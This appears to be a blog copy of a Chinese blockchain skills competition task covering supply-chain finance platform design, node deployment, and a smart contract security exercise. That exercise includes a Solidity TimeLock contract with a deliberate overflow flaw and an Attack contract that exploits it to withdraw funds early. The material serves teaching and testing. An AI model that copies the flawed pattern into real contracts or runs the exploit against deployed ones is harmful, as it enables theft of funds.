2023年区块链职业技能大赛——区块链应用技术(二)模块一

                                        背景描述

  在供应链金融这个万亿级市场中,区块链正在快速商业化落地,助力产业革新。基于区块链的供应链金融业务的理念是:以源自企业的应收账款为底层资产,通过区块链技术实现债券凭证的转让拆分。其中,在原始资产上链时,通过对应收账款进行审核校验,确认贸易关系和身份真实有效,和保证上链资产的真实可信。再者,债权凭证可基于供应链进行层层拆分与流转,都可完整追溯到最底层资产,以实现核心企业和金融机构对供应商的“信用穿透”。

  某公司规划开发一个区块链供应链金融平台,包括核心企业、供应商、银行等角色,通过智能合约代码逐步构建区块链供应链金融平台的基本功能,实现银行向核心企业提供授信并发行数字凭证,企业与企业之间转让数字凭证。此外需要完成区块链供应链金融平台的前后端,实现基本的业务逻辑。

模块一:区块链产品方案设计及系统运维

  任务1-1:区块链产品需求分析与方案设计

     本环节需要依据项目背景完成需求分析与方案设计,具体要求如下:

  1.依据给定供应链金融管理系统的业务架构图,对考题进行业务分析,尽可能多的去考虑一个业务系统所需要的模块,使用Visio或思维导图工具展现本系统的基本设计概念和处理流程,要求分为区块链供应链业务平台和支撑平台两个部分;

  2.根据供应链系统设计,在系统中分别包括用户和凭证票据管理功能,在融资凭证上链过程中需要包括银行、核心企业、供应商公司的基本管理功能。根据描述,设计区块链系统的总体功能概览图。

  3.整合上述设计内容,完善“供应链金融管理系统概要设计说明书.doc”,具体工作内容如下:

  1. 将设计内容根据说明书中模块需求进行补充,并完善概要设计说明书中的“需求概要”
  2. 完善说明书中接口说明部分内容。

任务1-2:区块链系统部署与运维 

  围绕供应链金融区块链平台部署与运维需求,进行项目相关系统、节点以及管理工具的部署工作。通过通过监控工具完成对网络、节点服务的监控。最终利用业务需求规范,完成系统日志、网络参数、节点服务等系统结构的维护。

  1. 根据参数与端口设置要求,部署区块链系统并验证;

  2. 根据参数与端口设置要求,部署区块链网络管理平台并验证;

  3. 基于区块链系统相关管理平台,按照任务指南实施系统运维工作并验证。

  4. 基于区块链系统相关监管工具,按照任务指南对区块链系统进行监管。

   子任务1-2-1: 搭建区块链系统并验证

基于给定服务器环境以及软件(地址“/root/tools”),使用Docker以默认配置安装单机4节点的区块链系统,并完成控制台工具的部署:

  1. 完成系统搭建配置与启动。
  2. 使用基于Docker命令查看区块链系统状态。
  3. 检查区块链系统节点node0连接状态输出。
  4. 配置控制台,管理相关证书并启动。

   子任务1-2-2:区块链管理平台部署与验证 

基于给定服务器环境以及软件(地址“/root/tools”),按要求部署区块链管理平台,具体工作如下:

  1. 配置Mysql数据库
  2. 配置管理平台连接区块链系统
  3. 使用命令启动管理平台服务
  4. 验证管理平台启动情况
   子任务1-2-3:区块链系统节点运维 

基于已完成的区块链系统与管理平台搭建工作,开展相关节点运维工作:

  1. 生成新节点(node4),启动并检查(1分)
  2. 修改新节点配置,并查看节点的nodeid(1分)
  3. 将新节点作为观察节点加入group1当中,并检查是否加入成功(1分)
   子任务1-2-4:区块链系统管理平台运维 

基于已部署的区块链系统管理平台,进行系统相关运维工作:

  1. 基于管理平台功能页面,添加新主机
  2. 基于管理平台功能页面,修改新节点(node4)节点状态,并监控。

任务1-3:区块链系统测试 

设计对区块链系统的测试流程;结合实际业务需求,调用部署的智能合约中进行系统测试、性能测试等;根据业务需求,分析并且修复给定智能合约中的安全漏洞。利用模拟业务和测试工具来完成对区块链系统服务数据的测试。

1.基于WeBASE的部署脚本完成WeBASE环境搭建以及搭建结果验证,最后将执行结果截图保存。

  1. 实现WeBASE平台部署。
  2. 实现webase.sgin功能启动情况验证。
  3. webase-node-mgr进程启动情况验证和浏览器验证。

2.智能合约安全漏洞测试。         

有如下智能合约:

pragma solidity ^0.7.6;

contract TimeLock {

    mapping(address => uint) public balances;

    mapping(address => uint) public lockTime;

    function deposit() external payable {

        balances[msg.sender] += msg.value;

        lockTime[msg.sender] = block.timestamp + 1 weeks;

    }

    function increaseLockTime(uint _secondsToIncrease) public {

        lockTime[msg.sender] += _secondsToIncrease;

    }

    function withdraw() public {

        require(balances[msg.sender] > 0, "Insufficient funds");

        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];

        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");

        require(sent, "Failed to send Ether");

    }

}

contract Attack {

    TimeLock timeLock;

    constructor(TimeLock _timeLock) {

        timeLock = TimeLock(_timeLock);

    }

    fallback() external payable {}

    function attack() public payable {

        timeLock.deposit{value: msg.value}();

        timeLock.increaseLockTime(

            type(uint).max + 1 - timeLock.lockTime(address(this))

        );

        timeLock.withdraw();

    }

}

如上代码主要实现功能为规定了转账冻结时间,在冻结时间内用户不能提取存款的金额。

  1. 分析智能合约中存在问题,并说明危害。
  2. 根据truffle工具中的代码文件,编写测试用例,复现智能合约中存在的漏洞。

创建新的智能合约,修复其中问题,说明修复内容并测试。

  • 34
    点赞
  • 55
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值